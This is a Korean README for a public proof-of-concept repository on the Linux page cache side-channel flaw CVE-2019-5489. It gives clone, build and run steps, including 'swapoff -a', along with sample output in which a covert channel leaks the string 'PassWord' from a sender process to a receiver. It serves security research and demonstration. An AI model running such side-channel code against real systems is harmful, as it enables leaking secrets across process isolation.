
페이지 캐시 사이드 채널 공격(CVE-2019-5489)의 Linux용 개념 증명
이 저장소에는 Linux용 Page Cache Side Channel Attacks(CVE-2019-5489) 개념 증명(PoC) 코드가 포함되어 있습니다.
페이지 캐시 부채널을 평가하기 위해, 두 프로세스 간에 **은닉 채널(covert channel)**을 구현했습니다. 송신 프로세스는 페이지 캐시 부채널을 통해 수신 프로세스로 기밀 데이터를 보냅니다. 페이지 캐시 공격은 Linux 커널 5.0부터 완화되었으므로, 이 PoC는 Linux 커널 5.0 이전에서만 동작합니다.
참고: Ubuntu 18.04, Linux 4.15.0-70에서 동작을 테스트했습니다.
다음 명령어를 실행하세요.
git clone https://github.com/mmxsrup/CVE-2019-5489
cd CVE-2019-5489
make
공격을 용이하게 하기 위해 스왑 공간을 비활성화하세요.
swapoff -a
먼저 터미널 1에서 다음 명령어를 실행하세요.
make run-sender
터미널 1에 sending 1th character ...가 출력된 후, 다음 명령어를 실행하세요.
make run-receiver
실행에 성공하면 다음과 같이 출력됩니다.
이는 키가 페이지 캐시 부채널을 통해 Sender 프로세스에서 Reciver 프로세스로 전송되었음을 보여줍니다.
LD_LIBRARY_PATH=. ./sender
Sender process
ecicting page cache ...
sending 1th character ...
ecicting page cache ...
sending 2th character ...
ecicting page cache ...
sending 3th character ...
ecicting page cache ...
sending 4th character ...
ecicting page cache ...
sending 5th character ...
ecicting page cache ...
sending 6th character ...
ecicting page cache ...
sending 7th character ...
ecicting page cache ...
sending 8th character ...
ecicting page cache ...
sending 9th character ...
LD_LIBRARY_PATH=. ./receiver
Sender process
waiting ...
recved caracter(P)
waiting ...
recved caracter(a)
waiting ...
recved caracter(s)
waiting ...
recved caracter(s)
waiting ...
recved caracter(W)
waiting ...
recved caracter(o)
waiting ...
recved caracter(r)
waiting ...
recved caracter(d)
waiting ...
recved caracter()
Received key: PassWord